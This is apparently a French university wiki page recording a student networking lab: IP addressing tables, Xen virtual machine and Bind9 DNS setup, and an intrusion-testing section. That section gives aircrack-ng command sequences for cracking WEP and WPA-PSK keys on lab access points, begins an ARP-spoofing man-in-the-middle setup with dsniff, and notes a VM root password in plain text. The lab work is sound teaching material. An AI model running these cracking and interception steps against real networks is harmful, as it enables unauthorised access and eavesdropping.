TP sysres IMA5 2021/2022 G1 : Différence entre versions

De Wiki d'activités IMA
(Tests d'intrusion)
(Intrusion sur un serveur d'application Web)
Ligne 357 : Ligne 357 :
  
 
== Intrusion sur un serveur d'application Web ==
 
== Intrusion sur un serveur d'application Web ==
 +
 +
Dans un premier temps, on fait du repérage. On va sur le site honey.plil.info. On est invité à entrer un num d'utilisateur et un mot de passe pour se connecter.
 +
 +
En mettant des identifiants aléatoires, un message "Mauvais identifiants s'affichent".

Version du 13 décembre 2021 à 16:27


Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4 6509E (E304) IPv4 C9200 (E306) IPv4 ISR4331 (SR52) SSID VM
Andrei / Julien 10 10.00.0.0/16 2001:7A8:116E:60B0::0/64 10.00.0.250 10.00.0.251 10.00.0.252 10.00.0.253 Jonquille Kronenbourg
Robin / Aviran 01 10.01.0.0/16 2001:7A8:116E:60B0::1/64 10.01.0.250 10.01.0.251 10.01.0.252 10.01.0.253 Marguerite PaixDieu
Axel / Guillaume 02 10.02.0.0/16 2001:7A8:116E:60B0::2/64 10.02.0.250 10.02.0.251 10.02.0.252 10.02.0.253 Pensee Kasteel
Selim / Raphael 03 10.03.0.0/16 2001:7A8:116E:60B0::3/64 10.03.0.250 10.03.0.251 10.03.0.252 10.03.0.253 Lavende Karmeliet
Helene / Camille 04 10.04.0.0/16 2001:7A8:116E:60B0::4/64 10.04.0.250 10.04.0.251 10.04.0.252 10.04.0.253 Tulipe Duff
Boris / Louis 05 10.05.0.0/16 2001:7A8:116E:60B0::5/64 10.05.0.250 10.05.0.251 10.05.0.252 10.05.0.253 Rose Bellerose
Johnny / Arthur 06 10.06.0.0/16 2001:7A8:116E:60B0::6/64 10.06.0.250 10.06.0.251 10.06.0.252 10.06.0.253 Orchidee Anosteke
Mel / Theo 07 10.07.0.0/16 2001:7A8:116E:60B0::7/64 10.07.0.250 10.07.0.251 10.07.0.252 10.07.0.253 Tournesol RinceCochon
Khalil / Alvare 08 10.08.0.0/16 2001:7A8:116E:60B0::8/64 10.08.0.250 10.08.0.251 10.08.0.252 10.08.0.253 Lys  
Souleyman / Enoch 09 10.09.0.0/16 2001:7A8:116E:60B0::9/64 10.09.0.250 10.09.0.251 10.09.0.252 10.09.0.253 Pissenlit Panache
Clement 110 10.10.0.0/16 2001:7A8:116E:60B0::A/64 10.10.0.250 10.10.0.251 10.10.0.252 10.10.0.253 Coquelicot Corona
INTERCO 531 fe80::1/10(304) fe80::2/10(306) fe80::3/10(SR53) 192.168.222.41/29 192.168.222.42/29 192.168.222.43/29  
XEN 42 2001:7A8:116E:60B0::F0/64(304) 2001:7A8:116E:60B0::F1/64(306) 2001:7A8:116E:60B0::F2/64(SR53) 192.48.57.187/26 192.48.57.188/26 192.48.57.189/26  

Table du VLAN 42

Groupe @IPv4 MV @IPv6 MV (auto)
Andrei / Julien 193.48.57.176/28  
Robin / Aviran 193.48.57.177/28  
Axel / Guillaume 193.48.57.178/28  
Selim / Raphael 193.48.57.179/28  
Helene / Camille 193.48.57.180/28  
Boris / Louis 193.48.57.181/28  
Johnny / Arthur 193.48.57.182/28  
Mel / Theo 193.48.57.183/28  
Khalil / Alvare 193.48.57.184/28  
Souleyman / Enoch 193.48.57.185/28  
Clement 193.48.57.186/28  

Note :

à compléter

Entité Élève Domaine 193.48.57.176/28 10.60.0.0/16 2001:660:4401:60B0::/60 2001:7A8:116E:60B0::/60 VLAN VLAN WIFI N° VRRP SSID n°1 SSID n°2
ROUTEUR E304 193.48.57.187  :: :F0  :: :F0 10.NN.00.250
ROUTEUR E306 193.48.57.188  :: :F1  :: :F1 10.NN.00.251
ROUTEUR SR52 193.48.57.189  :: :F2  :: :F2 10.NN.00.252
ROUTEUR FLOTTANTE 193.48.57.190  :: :F3  :: :F3 10.NN.00.253
Vlan INTERCO 531 INTERCO-SA 192.168.222.40/29 fe80::/10  ::1 fe80::/10  ::1 10.NN.00.253
Vlan INTERCO E304 192.168.222.41/29 fe80::/10  ::1 fe80::/10  ::1
Vlan INTERCO E306 192.168.222.42/29 fe80::/10  ::2 fe80::/10  ::2
Vlan INTERCO SR53 192.168.222.43/29 fe80::/10  ::3 fe80::/10  ::3


  • Plan d'adressage IPv4 :
VLAN Nom Réseau IPv4 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2
  • Plan d'adressage IPv6 :
VLAN Nom Réseau IPv6 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2

Configuration du routeur en SR-52

(À compléter)


Machine Virtuelle

Création de la VM

On commence tout d'abord par se connecter au domaine capbreton :

ssh root@capbreton.plil.info

On crée ensuite notre vm avec :

xen-create-image --hostname=Kronenbourg --gateway=193.48.57.188 --ip=193.48.57.176 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglop --dist=bullseye

Afin d'accéder à la console de notre vm il nous fallait au préalable modifier le fichier /etc/xen/Kronenbourg.cfg en y rajoutant dans Networking le bridge IMA5sc :

vif=['ip=193.48.57.176 ,mac=00:16:3E:8A:70:9D, bridge=IMA5sc']

On crée 2 LVM permettant par la suite d'y rattacher notre /home et notre /var :

lvcreate -L10G -n Kronenbourg-home storage
lvcreate -L10G -n Kronenbourg-var storage

Dans /etc/xen/Kronenbourg.cfg :

disk        = [
                 'file:/usr/local/xen/domains/Kronenbourg/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Kronenbourg/swap.img,xvda1,w',
                 'phy:/dev/storage/Kronenbourg-home,xvda3,w',
                 'phy:/dev/storage/Kronenbourg-var,xvda4,w'
             ]

Pour lancer et se connecter à la VM :

xl create /etc/xen/Kronenbourg.cfg -c

Une fois sur la console de la machine, on modifie /etc/fstab, qui gère le mount des partitions au démarrage. On y rajoute les deux entrées suivantes:

/dev/xvda3 /home ext4 defaults	0 2
/dev/xvda4 /var  ext4 defaults	0 2

On modifie également les partitions /dev/xvda3 et /dev/xvda4 en y ajoutant des filesystems de type ext4:

mkfs.ext4 /dev/xdva3

Au début, nous n'avions pas encore accès à Internet. Afin de continuer le TP en attendant :

mount -o loop /usr/local/xen/domains/Kronenbourg/disk.img /mnt/kro/
mount /dev/storage/Kronenbourg-var var/

chroot /mnt/kro

apt update && apt upgrade
apt install apache2

Connexion à Internet

Problèmes initiaux

Dans un premier temps, nous avions utilisé par manque d'adresses l'IP 193.48.57.176/28, qui est en fait l'adresse du réseau.

Ceci a fait que nous ne pouvions pas accéder à Internet, et nous avons également vu certains comportements assez curieux.

Par exemple, depuis notre Zabeth :

pifou@zabeth:~$ ping 193.48.57.176
64 bytes from 192.168.222.74: icmp_seq=1 ttl=253 time=0.561 ms

On voit que c'est une autre machine qui répond (à priori un routeur).

Solution par apprentissage

Pour résoudre ce problème, on décide d'utiliser le réseau des alternants. Leur configuration étant différente de la notre, il y a pas mal de choses à modifier.

Nouvelle configuration
Adresse IPv4 publique 193.48.57.174
Adresse IPv4 privée 10.60.100.174/24
Gateway 10.60.100.254

Dans /etc/network/interfaces:

iface eth0 inet static
 address 10.60.100.174/24
 up ip address add dev eth0 193.48.57.174/32 ; ip route add default via 10.60.100.254 src 193.48.57.174
 down ip address del dev eth0 193.48.57.174/32 ; ip route del default via 10.60.100.254 src 193.48.57.174

Enfin, on configure le routeur de sorte à amener toutes les trames à destination de 193.48.57.174 à 10.60.100.174.

Serveur DNS

Choix du nom de domaine

Nous avons procédé au choix du nom de domaine sur le site gandi.net : frais-comme-une-kro.club

On définit notre machine virtuelle comme serveur pour notre DNS en rentrant nos adresses IPv4 et IPv6 directement sur le site Gandi.net

On installe ensuite Bind9 sur notre VM, qui permet d'avoir un serveur DNS directement sur la VM :

# apt install bind9

Configuration

Dans /etc/bind/named.conf.local :

zone "frais-comme-une-kro.club" {
	type master;
	file "/etc/bind/db.frais-comme-une-kro.club";
	
	notify yes;
};

Dans /etc/bind/db.frais-comme-une-kro.club :

$TTL 200000
frais-comme-une-kro.club.	IN	A	193.48.57.174

Le champ TTL détermine le nombre de secondes avant la prise en compte d'une modification. IN insinue qu'on utilise des adresses IP. A veut dire que le champ en question renvoie une adresse (et non pas un autre serveur DNS par exemple).

Sécurisation du DNS par DNSSEC

Nous créons une clef asymétrique

Tests d'intrusion

WEP

Nous allons procéder à un cassage de clef WEP d'un point d'accès Wi-Fi. Pour cela nous utilisons le paquetage aircrack-ng.

airmon-ng
airmon-ng start wlan0mon

On écoute ensuite les trames Wi-Fi :

airodump-ng --encrypt wep wlan0mon

On repère ensuite l'ESSID correspondant à notre groupe : cracotte01 Puis on récupère son BSSID associé.

aireplay-ng -9 -e cracotte01 -a 04:DA:D2:9C:50:50 wlan0mon

On récupère les VI et on les stocke :

airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w output wlan0mon

On procède ensuite à la fausse identification :

aireplay-ng -1 0 -e cracotte01 -a 04:DA:D2:9C:50:50 -h 40:A5:EF:01:21:80 wlan0mon

On lance ensuite l'algorithme de craquage :

aircrack-ng -b 04:DA:D2:9C:50:50

WPA-PSK

airmon-ng
airmon-ng start wlan0mon 9
airodump-ng wlan0mon

Nous prenons le point d'accès kracotte01 et récupérons son BSSID

On lance ensuite la commande suivante, tout en la laissant tourner jusqu'à avoir un Handshake :

airodump-ng -c 9 --bssid 44:AD:D9:5F:87:00 -w psk wlan0mon

Il y avait déjà un dictionnaire de créé nous l'avons donc réutilisé

aircrack-ng psk*.cap
aircrack-ng -w dico.txt -b 44:AD:D9:5F:87:00 psk*.cap

Et on laisse tourner, on observe qu'il faut plus de 36h (sur l'ordinateur portable) pour tester toutes les combinaisons présentent dans le dictionnaire :

Aircrack jdelabre.jpg

Attaque de type "homme au milieu" par usurpation ARP

On installe dsniff sur l'ordinateur portable:

apt install dsniff

Ensuite nous devons mettre la variable noyau ip_forward à 1 (qui est de base à 0), cette variable permet à notre machine de se comporter un peu comme un routeur en écoutant sur le réseau:

sysctl -w net.ipv4.ip_forward=1

Intrusion sur un serveur d'application Web

Dans un premier temps, on fait du repérage. On va sur le site honey.plil.info. On est invité à entrer un num d'utilisateur et un mot de passe pour se connecter.

En mettant des identifiants aléatoires, un message "Mauvais identifiants s'affichent".